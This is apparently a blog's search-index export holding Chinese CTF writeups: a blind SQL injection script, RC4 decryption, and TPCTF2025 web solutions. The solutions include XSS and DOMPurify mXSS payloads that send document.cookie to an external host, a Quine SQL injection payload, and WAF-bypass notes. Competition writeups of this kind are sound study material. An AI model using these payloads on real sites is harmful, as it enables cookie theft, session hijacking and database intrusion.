if(ascii(substring(<span class="subst">{Payload}</span>,<span class="subst">{i}</span>,1))>=<span class="subst">{j}</span>, sleep(2), sleep(0)) or '1"</span></span><br><span class="line"> data = {<span class="string">'msg'</span>: payload}</span><br><span class="line"> requests.post(url, data=data, cookies=cookie)</span><br><span class="line"> edt = time.time()</span><br><span class="line"> <span class="keyword">if</span> edt - stt >= <span class="number">2</span>:</span><br><span class="line"> res = j</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="built_in">chr</span>(res), end=<span class="string">''</span>)</span><br><span class="line"> <span class="comment"># result += chr(res)</span></span><br><span class="line"> <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> get_str(<span class="string">"(select group_concat(flag) from tutorial_db.flag)"</span>)</span><br></pre></td></tr></table></figure><p>后面发现貌似不需要盲注,直接回带也是可以的,但是也无所谓了。(如果使用的是盲注的话可以不需要二分法进行注入,直接从大往小扫会更快一些。</p><h3 id="eateateat"><a href="#eateateat" class="headerlink" title="eateateat"></a>eateateat</h3><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324165556933.png" alt="image-20250324165556933"></p><p>黑客不玩游戏。</p><h3 id="test-your-php"><a href="#test-your-php" class="headerlink" title="test_your_php"></a>test_your_php</h3><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324165806105.png" alt="image-20250324165806105"></p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324165845746.png" alt="image-20250324165845746"></p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324165903812.png" alt="image-20250324165903812"></p><p>另一半在环境变量。</p><p>其实是先看到环境变量的 flag 了。</p><h3 id="内在美1"><a href="#内在美1" class="headerlink" title="内在美1"></a>内在美1</h3><p>登录进去之后扫到 61 端口有个 redis,直接打 redis 弹 shell 即可。</p><p>懒得再打一遍了,dpc 看着我打通的。</p><h2 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h2><h3 id="compose"><a href="#compose" class="headerlink" title="compose"></a>compose</h3><p>看到一个类似 RC4 的东西,丢给 ai 之后搓个脚本。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">rc4</span>(<span class="params">key, data</span>):</span><br><span class="line"> S = <span class="built_in">list</span>(<span class="built_in">range</span>(<span class="number">256</span>))</span><br><span class="line"> j = <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line"> j = (j + S[i] + key[i % <span class="built_in">len</span>(key)]) % <span class="number">256</span></span><br><span class="line"> S[i], S[j] = S[j], S[i]</span><br><span class="line"></span><br><span class="line"> i = j = <span class="number">0</span></span><br><span class="line"> result = []</span><br><span class="line"> <span class="keyword">for</span> byte <span class="keyword">in</span> data:</span><br><span class="line"> i = (i + <span class="number">1</span>) % <span class="number">256</span></span><br><span class="line"> j = (j + S[i]) % <span class="number">256</span></span><br><span class="line"> S[i], S[j] = S[j], S[i]</span><br><span class="line"> k = S[(S[i] + S[j]) % <span class="number">256</span>]</span><br><span class="line"> result.append(byte ^ k)</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">bytes</span>(result)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 解密示例</span></span><br><span class="line">key = <span class="string">b'TanggegeHaoShuai'</span></span><br><span class="line">enc = <span class="built_in">bytes</span>([<span class="number">18</span>, <span class="number">149</span>, <span class="number">50</span>, <span class="number">91</span>, <span class="number">120</span>, <span class="number">35</span>, <span class="number">95</span>, <span class="number">97</span>, <span class="number">200</span>, <span class="number">156</span>, <span class="number">48</span>, <span class="number">14</span>, <span class="number">187</span>, <span class="number">223</span>, <span class="number">98</span>, <span class="number">223</span>, <span class="number">237</span>, <span class="number">105</span>, <span class="number">222</span>, <span class="number">247</span>, <span class="number">112</span>, <span class="number">81</span>, <span class="number">172</span>, <span class="number">246</span>, <span class="number">231</span>, <span class="number">183</span>, <span class="number">84</span>, <span class="number">8</span>, <span class="number">27</span>, <span class="number">221</span>, <span class="number">97</span>, <span class="number">58</span>, <span class="number">11</span>, <span class="number">222</span>, <span class="number">142</span>, <span class="number">149</span>, <span class="number">157</span>, <span class="number">137</span>])</span><br><span class="line"></span><br><span class="line">decrypted = rc4(key, enc)</span><br><span class="line"><span class="built_in">print</span>(decrypted.decode(<span class="string">'utf-8'</span>, errors=<span class="string">'ignore'</span>).strip())</span><br></pre></td></tr></table></figure><h2 id="PCC"><a href="#PCC" class="headerlink" title="PCC"></a>PCC</h2><h3 id="签到-Run-it-compile-it"><a href="#签到-Run-it-compile-it" class="headerlink" title="签到, Run it, compile it"></a>签到, Run it, compile it</h3><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324170210269.png" alt="image-20250324170210269"></p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324170451420.png" alt="image-20250324170451420"></p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324170524034.png" alt="image-20250324170524034"></p><p>compile it 不能直接用 mingw 编译,很神秘。</p><h3 id="whereisflag?"><a href="#whereisflag?" class="headerlink" title="whereisflag?"></a>whereisflag?</h3><p>flag1:</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324171114588.png" alt="image-20250324171114588"></p><p>flag2:看 flag4</p><p>flag3:</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324171237861.png" alt="image-20250324171237861"></p><p>flag4:</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250324170928486.png" alt="image-20250324170928486"></p>]]></content>
<categories>
<category> ctf </category>
</categories>
<tags>
<tag> writeup </tag>
</tags>
</entry>
<entry>
<title>TPCTF2025 Web 复现全解</title>
<link href="/2025/03/31/TPCTF2025Web/"/>
<url>/2025/03/31/TPCTF2025Web/</url>
<content type="html"><![CDATA[<h1 id="TPCTF2025-Web-复现全解"><a href="#TPCTF2025-Web-复现全解" class="headerlink" title="TPCTF2025 Web 复现全解"></a>TPCTF2025 Web 复现全解</h1><h2 id="baby-layout"><a href="#baby-layout" class="headerlink" title="baby-layout"></a>baby-layout</h2><h3 id="Problem"><a href="#Problem" class="headerlink" title="Problem"></a>Problem</h3><p>本题给了两个接口,允许我们自定义 layout 然后能够自定义 <code>{{content}}</code> 内容。</p><h3 id="Solution"><a href="#Solution" class="headerlink" title="Solution"></a>Solution</h3><p>登录之后发现有一个网页和 bot 功能,疑似 xss,看到 dockerfile 里面 flag 放到 bot 的 cookie 里,大概是要把 bot 的 cookie 带出来就算过了。</p><p>没有发现任何过滤,直接正常的使用 xss 来进行伪造。</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="attr">layout</span>:</span><br><span class="line"><span class="language-xml"><span class="tag"><<span class="name">img</span> <span class="attr">src</span>=<span class="string">{{content}}</span>></span></span></span><br><span class="line"><span class="language-xml">payload:</span></span><br><span class="line"><span class="language-xml">" onerror="window.location.href='http://xss.domain.com/index.php/?1='+document.cookie</span></span><br></pre></td></tr></table></figure><p>回带 flag 就行。</p><h2 id="Safe-layout"><a href="#Safe-layout" class="headerlink" title="Safe-layout"></a>Safe-layout</h2><h3 id="Problem-1"><a href="#Problem-1" class="headerlink" title="Problem"></a>Problem</h3><p>在上题的基础上使用 <code>DomPurify</code> 进行了过滤。</p><h3 id="Solution-1"><a href="#Solution-1" class="headerlink" title="Solution"></a>Solution</h3><p>本题提出了一个对 layout 进行注入的过程中使用 <code>DomPurify</code> 进行标签过滤的绕过,本题禁止使用所有的标签属性。</p><p>注意这里使用的是 <code>DomPurify</code> 这样一个<strong>工具</strong>进行过滤操作,不妨去考虑 <code>DomPurify</code> 这个工具自身产生的漏洞。</p><p>当我们对 Dom Tree 进行解析的时候,我们有一个手法叫做 <strong>mXSS</strong>:当浏览器去解析我们的标签时会自动进行一系列的<strong>修复</strong>,尝试使 Dom Tree 处于标准形式,便于后续的解析。但正是这个修复的行为导致了我们标签结构的<strong>突变(mutation)</strong>。</p><p>对于不同的浏览器,标签修复有不同的行为,所以某些 mXSS 行为在某些浏览器上不起作用(Firefox 上某些 mXSS 就没有办法起作用)。</p><p>举个例子:</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">a</span> <span class="attr">alt</span>=<span class="string">"</div> <img src onerror='alert(111);'>"</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure><p>这个时候 HTML 并不会分析 <code>alt</code> 标签的内容,他会解析成一个正常的文本,而不会将中间的 <code><img</code> 元素解析出来。</p><p>但是如果我们使用 <code><style></code> 元素那就是完全不一样的表现了,类似的例子:</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">style</span>></span></span><br><span class="line"> <a alt="<span class="tag"></<span class="name">style</span>></span> <span class="tag"><<span class="name">img</span> <span class="attr">src</span> <span class="attr">onerror</span>=<span class="string">'alert(111);'</span>></span>"</span><br><span class="line"><span class="tag"></<span class="name">style</span>></span></span><br></pre></td></tr></table></figure><p>你能够明显感觉到上下两段 html 之间的差距,这个时候由于 <code><style></code> 元素的原因,html 认为嵌合在 <code>alt</code> 标签中的 <code></style></code> 终止元素成为了自己的元素,从而将整个 <code><img</code> 元素表现成了正常的元素,从而我们可以进行注入操作。</p><p>但是本题中我们连 <code>alt</code> 这个标签都不可能存在,所以我们需要一个新的手法来进行注入。同样是 <code><style></code> 元素的利用,根据 <code>DomPurify</code> 的过滤规则,他中间会采用类似 <code>/<[/\w]/</code> 的方式检查,从而我们的 <code><{{content}}</code> 并不会被检查,所以可以在 <code><style></code> 元素中注入一个未被转义的 <code><</code> 来方便我们后续的注入。</p><p>而后面我们只需要通过 <code>mXSS</code> 的特性通过展平操作来 <code><style></code>,然后再使用我们刚刚注入的恶意 <code><</code> 来进行注入就可以了。</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">style</span>></span><span class="language-css"></span></span><br><span class="line"><span class="language-css"> {{<span class="attribute">content</span>}}<{{<span class="attribute">content</span>}} <span class="comment">/* 由于我们需要在 <img 元素之前跳出 <style> 元素,所以需要在前面加入一个 {{content}} 来帮助我们通过突变特性弹出*/</span></span></span><br><span class="line"><span class="language-css"></span><span class="tag"></<span class="name">style</span>></span></span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="code"><pre><span class="line">img src onerror=fetch(`domain.com/?flag=`+document.cookie) <span class="tag"><<span class="name">style</span>></span><span class="tag"></<span class="name">style</span>></span></span><br></pre></td></tr></table></figure><p>后面的 <code><style></code> 帮助我们展平弹出,前面的 <code>img</code> 是我们的恶意注入代码。</p><h2 id="SuperSQLi"><a href="#SuperSQLi" class="headerlink" title="SuperSQLi"></a>SuperSQLi</h2><h3 id="Problem-2"><a href="#Problem-2" class="headerlink" title="Problem"></a>Problem</h3><p>给了一个纯粹的 sql 查询,并且开启了一个反向代理服务对所有上传到服务器的请求进行了检测。</p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250401204836527.png" alt="image-20250401204836527"></p><p><img src="https://kamiyablog.oss-cn-beijing.aliyuncs.com/img/image-20250401204816090.png" alt="image-20250401204816090"></p><h3 id="Solution-2"><a href="#Solution-2" class="headerlink" title="Solution"></a>Solution</h3><p>两种手法过掉这个 waf,可以在上传 payload 时使用 utf-7 编码进行 bypass,在 Django < 0.5 版本时存在协议层 waf 绕过,具体的文章还没有详细看,如果有时间的话去详细了解一下原理吧。</p><p>通过这个漏洞我们可以任意构造 payload,并且对方的 sql 查询点并没有经过任何的预编译或者返回值防护,所以我们可以直接任意命令注入。</p><p>但是打开数据库之后发现用户库其实是空的,也就是说不存在一种可能使我们登录成功,也就是说 <code>admin</code> 的密码根本就不存在。所以我们得尝试直接绕过:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">assert</span> password == users[<span class="number">0</span>].password</span><br></pre></td></tr></table></figure><p>其实非常简单,我们只需要让我们的 sql 查询返回语句等于我们注入的 password 语句就行了,这非常像之前在小学二年级学过的输出自身的 C++ 代码。在 sql 中叫 <strong>Quine SQLi</strong>,自生产程序 sql 注入。(如果之后有时间我会写一篇该 trick 相关的文章)</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">'UNION SELECT 1,'admin',REPLACE(REPLACE('"UNION SELECT 1,"admin",REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$");-- ',CHAR(34),CHAR(39)),CHAR(36),'"UNION SELECT 1,"admin",REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$");-- ');--</span><br></pre></td></tr></table></figure><p>在 <code>password</code> 处注入该 payload 即可。</p><p>另一个绕过手法是来自于星盟的 writeup。在解析 post 包的时候,waf 程序会对不同的 <code>content-type</code> 进行区分,当 <code>content-type=multipart/form-data</code> 时,我们发送一个 <code>data</code> 包里面加上我们需要的 <code>post</code> 体,这样就能够直接绕过这个 waf 的检测了。(这里其实没太懂,后面我再去琢磨琢磨)</p>]]></content>
<categories>
<category> ctf </category>
</categories>
<tags>
<tag> xctf </tag>
<tag> writeup </tag>
<tag> web </tag>
</tags>
</entry>
</search>